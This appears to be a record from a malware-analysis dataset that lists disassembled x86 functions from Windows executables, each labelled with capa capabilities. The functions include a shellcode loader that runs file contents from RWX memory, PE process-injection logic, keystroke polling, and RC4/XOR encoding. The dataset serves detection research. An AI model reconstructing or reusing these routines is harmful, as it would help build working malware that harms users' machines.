joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4072ad
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46bc7c], 0
jne 0x4072eb
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4072c1
mov dword [ecx*4 + 0x46bc78], eax
inc ecx
cmp ecx, 0x100
jl 0x4072bc
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407318
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46bc78]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072f9
not eax
pop ebp
ret 0xc

Function at 0x4b5c73
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff6
mov eax, 0x5bdbb174
call fcn.004b4afa
jae 0x4b5cf4
je 0x4b5cb6
outsw dx, word [esi]
js 0x4b5d00
popal
bound ebp, qword [esi]
arpl word [edi + 0x6d], bp
outsb dx, byte [esi]
int 0x91
cmpsb byte [esi], byte es:[edi]
dec eax
pop esp
stc
cmp byte [eax + 9], dl
enter 0x64c8, 0xfffffffffffffff5
test esp, ebp
out dx, al
xchg ecx, eax
mov dl, 0xc4
push cs
mov ah, 0xa0
in eax, dx
or ebp, dword [eax + 0x6f]
sahf
jnp 0x4b5ccb
push edx
retf
invalid
aas
sahf
xor dh, byte [eax + 0x3093dde7]
daa
mov edi, 0xd6b21c38
salc
dec eax
push edx
and bl, byte [ecx]
and byte [eax + 0x47793c30], dl
or al, 0xd9
add dword [ecx], 0xcb96e99c
js 0x4b5cbd
inc ebx
push edi
dec eax
push edx
add byte [edx + 0x1c234eb7], ch
adc ecx, eax
xlatb
pop edx
sal ch, 1
pushal
shl byte [esi - 0x37], 1
xchg byte [edi], al
sub eax, dword [edi]
and esi, dword [edx + 0x45]
cdq
and dword [ebx + 0x22bdfd99], 0xffffffec
mov dword [0x22bdfd99], eax
in al, dx
js 0x4b5d48
pop ecx
lea eax, [eax + 0x22]
insd dword es:[edi], dx
push ecx
add cl, byte [eax]
fidiv dword [ebp + 0x652ea643]
pushfd
sub ecx, dword [eax + 0x77]
invalid
lodsb al, byte [esi]
mov eax, dword [0x480d6b4d]
mov ebx, 0x6121552c
mov dword [0x5d96b8a2], eax
test dword [edi - 0x40ec373e], ebx
xchg ecx, eax
enter 0xffffffffffffc201, 0xffffffffffffffcd
push ebp
cld
sal byte [eax - 0x3cff3683], 1
inc ecx
aam 0x26
mov dl, 0x29
cmp al, byte [eax]
scasb al, byte es:[edi]
mov es, word [ebp - 0x6102c935]
iretd
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x40219a
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
xor esi, esi
mov dword [esp + 0x18], esi
mov ecx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
mov dword [esp + 0x18], esi
mov dword [esp + 8], 1
cmp dword [edi + 0x14], esi
jbe 0x40106f
jmp 0x401050
push esi
mov ecx, edi
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_const]
mov al, byte [eax]
xor al, 0x58
movzx ecx, al
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_]
inc esi
cmp esi, dword [edi + 0x14]
jb 0x401050
mov eax, ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret

Function at 0x4010b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x402213
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x24], eax
push edi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
push str.0___bww_u15u3__vo577u_iv_75w4_wl_j_k_hhuo_l_uiimu9_imuli:_nk9l9hwiokiaimlak_kjwkv___
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea edi, [esp + 0x10]
mov eax, esi
mov dword [esp + 0x38], 1
call fcn.00401090
mov ecx, edi
mov dword [esp + 8], 1
mov byte [esp + 0x38], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004018ac
add esp, 0x34
ret
Function at 0x401140
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x402213
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x24], eax
push edi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
push 0x4031e8
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea edi, [esp + 0x10]
mov eax, esi
mov dword [esp + 0x38], 1
call fcn.00401090
mov ecx, edi
mov dword [esp + 8], 1
mov byte [esp + 0x38], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004018ac
add esp, 0x34
ret
Function at 0x401400
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x20]
call fcn.00401140
mov eax, dword [ebp - 0x1c]
mov edi, 0x10
cmp dword [ebp - 8], edi
jae 0x40142b
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40147b
lea esi, [ebp - 0x3c]
call fcn.004010b0
lea eax, [ebp - 0x20]
push eax
mov ecx, esi
call fcn.004011d0
add esp, 4
test al, al
jne 0x401472
push 0
push 0x403250
push 0x403258
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x401590
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 8], edi
jae 0x401486
lea eax, [ebp - 0x1c]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x4014bf
push 0x403250
push 0x403268
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401590
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4014e6
push 0
push 0x403250
push 0x403278
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401589
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x44], ebx
push 0
test ebx, ebx
jne 0x401514
push 0x403250
push 0x40328c
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401589
lea ecx, [ebp - 0x40]
push ecx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401567
cmp dword [ebp - 0x40], edi
jne 0x401567
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x44]
call eax
popal
mov edx, dword [ebp - 0x44]
push 0x8000
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004018ac
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0x403250
push 0x40329c
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004018ac
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4018ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4018b6
repz ret
jmp fcn.00401bd0
Function at 0x844960
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x888cd0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x8a2014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x8a30bc
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00857f30
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x8a2a8c
push eax
call fcn.00857f30
mov esi, dword [0x8a30cc]
xor ebx, ebx
mov edi, dword [0x8a30d0]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x8a6360], bl
mov eax, ebx
mov ecx, 0x8a30bc
cmovae ecx, dword [0x8a30bc]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x8a6470], al
inc ebx
cmp ebx, 0x100
jl 0x8449e0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x8a6360]
movzx eax, byte [esi + 0x8a6470]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x844a34
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x8a6360]
mov byte [esi + 0x8a6360], al
inc esi
mov byte [edi + 0x8a6360], dl
cmp esi, 0x100
jl 0x844a10
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00844650
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x844a89
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x844a7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x844adf
push edx
push ecx
call fcn.0085d593
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x844acb
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x844ac1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x844adf
push edx
push ecx
call fcn.0085d593
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00876b9a
int3
Function at 0x847070
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x8a2014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0xef0786
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x847259
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x847259
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00874020
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0xef0857
nop
test eax, eax
je 0x847259
push 4
push 0x1000
push 4
push 0
call 0xef010e
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x6700de
nop
test eax, eax
je 0x847259
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x898da0
push dword [esp + 0x30]
call 0x670535
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x84717c
push 0x898da4
push 0x898dbc
call 0xee0bbb
nop
push eax
call 0x670256
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x6703dd
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x847259
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0xef0672
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x847213
mov dword [esp + 0xc], eax
call fcn.00846ec0
push eax
call 0x8305ca
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0xef0672
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x8471c2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0xef0672
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x670783
nop
push dword [esp + 0x24]
call 0xee0c7f
nop
push 0x8000
push 0
push esi
call 0xef05b4
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call int.0085cf21
mov esp, ebp
pop ebp
ret
Function at 0x44ce70
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x564dfb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0055842e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x44cef2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0055540c
mov eax, dword [eax]
push 0x12ffdac
push eax
call fcn.005275b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005586b9
test bl, bl
je 0x44cef2
push 0x12ffdac
lea ecx, [esp + 0xc]
call fcn.00558a49
push 0x12ffdb8
lea ecx, [esp + 0xc]
call fcn.00558a49
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x44cf2e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005586b9
jmp 0x44cff9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x44cfb2
lea edx, [esp + 0x7c]
push 0x12ffdb4
push edx
call fcn.005275b4
add esp, 8
test eax, eax
je 0x44cfb2
lea eax, [esp + 0x7c]
push 0x12ffdb0
push eax
call fcn.005275b4
add esp, 8
test eax, eax
je 0x44cfb2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x44cf42
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005586b9
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x44e290
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x44e2f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x44e300
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x564f5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x131f7f8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x44e438
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x44e366
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005586b9
xor eax, eax
jmp 0x44e4af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.005587f6
push esi
lea ecx, [esp + 0xc]
call fcn.00558a85
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x12ffdfc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x44e48d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x12ffdf4
push accept
call fcn.0044e290
test eax, eax
jne 0x44e48d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x12ffde0
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0044e290
test eax, eax
jne 0x44e48d
lea eax, [esp + 0x14]
push 0x12ffdd8
push eax
call fcn.00528720
mov esi, eax
add esp, 8
test esi, esi
jne 0x44e46c
lea ecx, [esp + 0x14]
push 0x12ffdd4
push ecx
call fcn.005286a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x44e46c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x44e46f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.005587a6
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x44e37e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005586b9
xor eax, eax
jmp 0x44e4af
mov byte [esi], 0
push 0x12ffdd0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005586b9
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4653c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x46542e
cmp si, 0x69
ja 0x46542e
add esi, 0xffd0
cmp si, 0x11
je 0x4653fe
push 0x11
call edi
test ax, ax
jge 0x4653fe
or esi, 0x2000
cmp si, 0x10
je 0x465413
push 0x10
call edi
test ax, ax
jge 0x465413
or esi, 0x4000
cmp si, 0x12
je 0x465428
push 0x12
call edi
test ax, ax
jge 0x465428
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x46543b
mov esi, 0xbd
jmp 0x4653ef
cmp si, 0x6e
jne 0x465448
mov esi, 0xbe
jmp 0x4653ef
cmp si, 0x6f
jne 0x4653e9
mov esi, 0xbf
jmp 0x4653ef

Function at 0x466d30
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x133a2a0]
xor edx, edx
cmp eax, edx
jne 0x466d56
xor eax, eax
mov byte [eax + 0x133a1a0], al
inc eax
cmp eax, 0x100
jl 0x466d3e
mov dword [0x133a2a0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x133a1a0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x466de7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x466dba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x466d88
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x466e60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x466eb3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x466e9a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46e390
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x46e528
cmp ebp, ebx
jle 0x46e528
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x46e3ee
dec eax
or eax, 0xfffffff8
inc eax
je 0x46e3f5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x46e404
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x46e40b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.005583fa
add esp, 4
cmp eax, ebx
je 0x46e42c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.005583fa
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x46e51e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x46e505
mov al, byte [edx]
cmp al, 0xc0
jbe 0x46e4f1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x46e4e6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x46e4f4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x46e4f4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x46e490
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x46e481
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret